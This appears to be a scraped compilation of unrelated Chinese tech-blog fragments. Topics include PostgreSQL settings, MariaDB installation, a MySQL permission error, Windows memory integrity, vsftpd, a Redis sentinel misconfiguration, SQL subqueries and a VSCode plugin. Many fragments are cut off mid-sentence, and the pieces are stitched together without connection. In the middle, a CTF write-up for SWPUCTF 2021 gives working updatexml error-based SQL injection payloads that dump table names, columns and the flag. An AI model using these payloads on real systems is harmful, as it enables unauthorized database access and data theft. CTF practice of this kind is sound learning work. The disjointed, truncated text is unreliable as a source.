修改参数
1.全局修改方法 alter system set 参数名='参数值' 2.非全局配置的参数修改方法
数据库级别的配置
alter database name set 参数名 to|= 参数值 //修改 alter database name reset configuration //重置 修改会话级的参数
set 参数名 to|= 参数值 set 参数名 to default 更新pg_settings视图
update pg_settings set setting=新的参数值 where name=参数名; update pg_settings set setting= reset_val where name=参数名; 使用set_config函数更新会话配置
select set_config('参数名',参数值,false); 重置和重置 Role 级别的配置,例如
ALTER ROLE name IN DATABASE database_name SET cofigparameter { TO | = } { value I DEFAULT } ALTER ROLE name IN DATABASE database ame RESET configparameter 如何查看配置 查询pg_settings系统表,例如: SELECT name , setting FROM pg_settings where name ='XXX'; SELECT current_setting(name) ; show 参数名| show all 4.
sudo vim ~/.bashrc
# alias for g++ support C++ standard 11, 14, 17, 20 alias g++11='g++ -std=c++11' alias g++14='g++ -std=c++14' alias g++17='g++ -std=c++17' alias g++20='g++ -std=c++2a' g++20 -o a test.cpp 修改完成后,使用sudo source .bashrc命令使之立即生效。
问题描述 [root@c6-172-24-20-50 mysql_data]# /servyou/mysql/bin/mysqld --initialize-insecure --lower_case_table_names=1 --default_authentication_plugin=mysql_native_password --user=mysql --basedir=/servyou/mysql --datadir=/home/weblogic/mysql_data mysqld: Can't change dir to '/home/weblogic/mysql_data/' (Errcode: 13 - Permission denied) 2022-05-12T12:49:56.401184Z 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details). 2022-05-12T12:49:56.403011Z 0 [ERROR] failed to set datadir to /home/weblogic/mysql_data/ 2022-05-12T12:49:56.403023Z 0 [ERROR] Aborting 问题分析 错误日志提示 查看目录下隐藏的权限,发现上级目录是weblogic,经过测试发现是weblogic的家目录 解决:datadir不要设置在系统账户的家目录
继续分析 逐级分析那层目录的other没有执行权限导致的问题 ls -l /home ls -l /home/weblogic ls -l /home/weblogic/m1 chmod o+x /xxx // chmod o+rx /xxx link https://github.
注意:此方法只适用于新的机器或没有重要数据库表(可随意删除)的机器安装,如需升级版本参考下方链接!!! https://www.jianshu.com/p/955ff6065935
一、安装操作 1.查看是否已经安装mysql或mariadb rpm -qa | grep -i mysql rpm -qa | grep -i mariadb 如果有信息打印则代表已安装(MariaDB是MySql的一个分支,具体区别和关系自行查找文献)
2.卸载数据库 如果已安装的版本不是想要的版本,则卸载即可(*内容自行替换) rpm -e --nodeps MariaDB-*
3.编辑数据库源配置 vi /etc/yum.repos.d/MariaDB.repo
按下i进入编辑模式,写入对应版本的配置信息,如10.2版本,对应版本参考官网说明 https://mariadb.org/download/?t=repo-config&d=CentOS+7+%28x86_64%29&v=10.2&r_m=aliyun
# MariaDB 10.2 CentOS repository list - created 2022-05-16 01:54 UTC # https://mariadb.org/download/ [mariadb] name = MariaDB baseurl = https://mirrors.aliyun.com/mariadb/yum/10.2/centos7-amd64 gpgkey=https://mirrors.aliyun.com/mariadb/yum/RPM-GPG-KEY-MariaDB gpgcheck=1 然后按下Esc,输入:wq回车保存并退出
更改配置之后需要执行以下命令 sudo yum clean all
4.导入密钥 rpm --import https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
5.开始安装mariadb sudo yum install MariaDB-server MariaDB-client
6.启动服务 systemctl start mariadb
updatexml报错注入 updatexml (XML_document, XPath_string, new_value): 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,了解Xpath语法。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
利用updatexml查询功能,构造报错语法,将查询结果用报错的形式输出 例题:[SWPUCTF 2021 新生赛]error 随便输入1进去,发现没有变化; 因为知道是报错注入,就构造paylaod 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+ 输入进去还果真“报错”,但不是我们要的报错结果,就抓了一下包 果然是出现了错误,将包改为我们要的形式,再放回 查到了库名,用相同的方式,查找表名 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb')),1) --+
继续查找flag 1' and updatexml(1,concat(0x7e,(select flag from test_tb)),1) --+ 发现只有前半截flag 1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),32,64)),1) -- +
得到全部的flag
核心隔离 核心隔离是 Microsoft Windows的一项安全功能,它通过将重要的核心Windows与恶意软件隔离在内存中来保护这些进程。 为此,它会在虚拟化环境中运行这些核心进程。 内存完整性 内存完整性也称为虚拟机监控程序保护的代码完整性 (HVCI) 是 Windows 安全功能,使恶意程序难以使用低级别驱动程序劫持计算机。
驱动程序是一个软件,允许操作系统 (Windows在此例中) 键盘或网络摄像机 (设备设备,例如两个示例) 相互交谈。 当设备想要Windows它使用驱动程序发送该请求。
提示: 想要了解有关驱动程序的更多信息? 请参阅什么是驱动程序?
内存完整性的工作原理是使用硬件虚拟化创建隔离的环境。
可想而为,就像锁定的展台内的安全防护人员一样。 这种隔离的环境 (中锁定的展台) 防止攻击者篡改内存完整性功能。 想要运行一段可能危险代码的程序必须将代码传递到该虚拟展台内的内存完整性,以便可以验证。 当内存完整性使代码安全时,它会将代码重新Windows运行。 通常,这种情况发生得非常快。
在未运行内存完整性的情况下,安全防护在打开时就非常突出,攻击者更容易干扰或破坏防护,使恶意代码更容易通过并造成问题。
如何管理内存完整性? 在大多数情况下,内存完整性默认在 Windows 11 中打开,并且可以针对 Windows 10。
若要打开或关闭它,请:
选择 开始 按钮并键入核心隔离。
从搜索结果中选择核心隔离系统设置,打开Windows应用。
在核心隔离页上,可找到内存完整性以及打开或关闭内存完整性的开关。
重要: 为了安全,我们建议打开内存完整性。
若要使用内存完整性,必须在系统的 UEFI 或 BIOS 中启用硬件虚拟化。 如果它说我有不兼容的驱动程序呢? 如果内存完整性无法打开,可能会告知你已安装不兼容的设备驱动程序。 请咨询设备制造商,了解他们是否提供了更新的驱动程序。 如果他们没有可用的兼容驱动程序,你或许能够删除该不兼容驱动程序的设备或应用。
注意: 如果在启用内存完整性后尝试安装驱动程序不兼容的设备,可能会看到相同的消息。 如果是这样,则适用相同的建议 - 请咨询设备制造商,了解他们是否拥有可下载的更新驱动程序,或者,在提供兼容驱动程序之前不要安装该特定设备。
在「Windows Defender 安全中心」中的「设备安全性」选项下,就可以提供当前 Windows 10 PC 的状态报告和管理内置于设备中的安全功能。但需要注意的是,「内核隔离」和「内存完整性」并非软件级别的安全特性,要启用它,还需要您的计算机硬件也支持才行。(固件和 CPU 必需支持虚拟化,以让 Windows 10 PC 支持在容器中运行应用程序。)
ftp 安装服务及启动ftp yum install -y vsftpd
systemctl enable vsftpd.service
systemctl start vsftpd.service
systemctl stop vsftpd.service
systemctl status vsftpd.service
安装包及安装生成文件; 开启服务,开机启动;关闭防护墙,开机不启动; 配置ftp
上周遇到个灵异事件,实验室有两套环境来搭建redis集群和哨兵,分别是:
第一套环境IP:67(master) 65(salve) 66(salve)第二套环境IP:115(master) 116(salve) 117(salve)
第一天把哨兵搭建好后,两套环境的主从关系都是一主两从,但是到了第二天,莫名其妙的,第二天环境的3个redis都挂载到第一套环境下了,都成了67的salve,如图所示:
1 127.0.0.1:6379> info replication 2 3 role:master 4 connected_slaves:5 5 slave0:ip=192.168.51.65,port=6379,state=online,offset=6398436,lag=1 6 slave1:ip=192.168.51.68,port=6379,state=online,offset=6398436,lag=0 7 slave2:ip=192.168.51.116,port=6379,state=online,offset=6399020,lag=0 8 slave3:ip=192.168.51.117,port=6379,state=online,offset=6398436,lag=0 9 slave4:ip=192.168.51.115,port=6379,state=online,offset=6398878,lag=0 10 master_replid:c37c216fa725c9e3475a8138b8242e85fd3b93c3 11 master_replid2:0000000000000000000000000000000000000000 第一套环境sentinel.conf配置:
1 port 26379 2 protected-mode no 3 daemonize yes 4 logfile /home/zmoon/redis-5.0.12/sentinel.log 5 sentinel deny-scripts-reconfig yes 6 sentinel monitor mymaster 192.168.51.67 6379 2 7 sentinel down-after-milliseconds mymaster 1000 8 sentinel failover-timeout mymaster 5000 9 sentinel auth-pass mymaster 123abc 第二套环境sentinel.
目录一、子查询二、利用子查询进行过滤三、作为计算字段使用子查询四、小结
本文介绍什么是 SQL 子查询,如何使用它们。子查询常用于 WHERE 子句的 IN 操作符中,以及用来填充计算列。
一、子查询 SELECT 语句是 SQL 的查询。我们迄今为止所看到的所有 SELECT 语句都是简单查询,即从单个数据库表中检索数据的单条语句。
查询(query)
任何 SQL 语句都是查询。但此术语一般指 SELECT 语句。
SQL 还允许创建子查询(subquery),即嵌套在其他查询中的查询。为什么要这样做呢?理解这个概念的最好方法是考察几个例子。
二、利用子查询进行过滤 订单存储在两个表中。每个订单包含订单编号、客户 ID、订单日期,在 Orders 表中存储为一行。各订单的物品存储在相关的 OrderItems 表中。Orders 表不存储顾客信息,只存储顾客 ID。顾客的实际信息存储在 Customers 表中。
现在,假如需要列出订购物品 RGAN01 的所有顾客,应该怎样检索?下面列出具体的步骤。
(1) 检索包含物品 RGAN01 的所有订单的编号。
(2) 检索具有前一步骤列出的订单编号的所有顾客的 ID。
(3) 检索前一步骤返回的所有顾客 ID 的顾客信息。
上述每个步骤都可以单独作为一个查询来执行。可以把一条 SELECT 语句返回的结果用于另一条 SELECT 语句的 WHERE 子句。
也可以使用子查询来把 3 个查询组合成一条语句。
第一条 SELECT 语句的含义很明确,它对 prod_id 为 RGAN01 的所有订单物品,检索其 order_num 列。输出列出了两个包含此物品的订单:
第一步:下载一个插件,MySQL Syntax
安装后要是重启或刷新后没有出现 再安装一个MySQL
第二步:下载vscode-database
第三步:把需要的插件下载好后,接下来就开始操作 输入自己的账号密码第四步:依次输入host、user、password
第五步:选择需要查询的数据库
最后就可以在这里查询到数据了,但是这里显示是只读,不可编辑的
这个是只读的且一次只有查询一个的页面,所以需要查询另一个表需要把当前表关掉